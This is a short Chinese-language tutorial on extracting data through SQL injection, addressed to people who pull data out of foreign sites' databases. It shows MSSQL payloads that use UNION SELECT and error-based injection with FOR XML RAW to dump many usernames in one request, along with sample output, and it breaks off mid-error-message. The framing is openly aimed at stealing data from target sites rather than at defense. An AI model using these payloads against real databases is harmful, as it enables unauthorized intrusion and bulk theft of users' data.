SQL注入中获取数据的一些技巧
最近接触了好多欧美日韩台数据库的数据搬运工,很多目标站想拿下来很难很难,不过大家看中的只是数据而非webshell,webshell只是为了搬运数据方便一点。于是试问下,只存在注入时,您还在一条条搬么?
一、MSSQL获取数据:
用的比较多的就是for xml raw了,MSSQL2000都支持的!
注入中显示数据的两个办法均可以使用,一是union select、二是显错,以MSSQL2005为例:
select username from members where 1=2 union select top 3 username from members for xml raw
返回(如果username重复,自动去除重复值):
<row username="admin"/><row username="Anna"/><row username="oldjun"/>
select username from members where 1=(select top 3 username from members for xml raw)
返回:
Msg 245, Level 16, State 1, Line 1
Conversion failed w... 




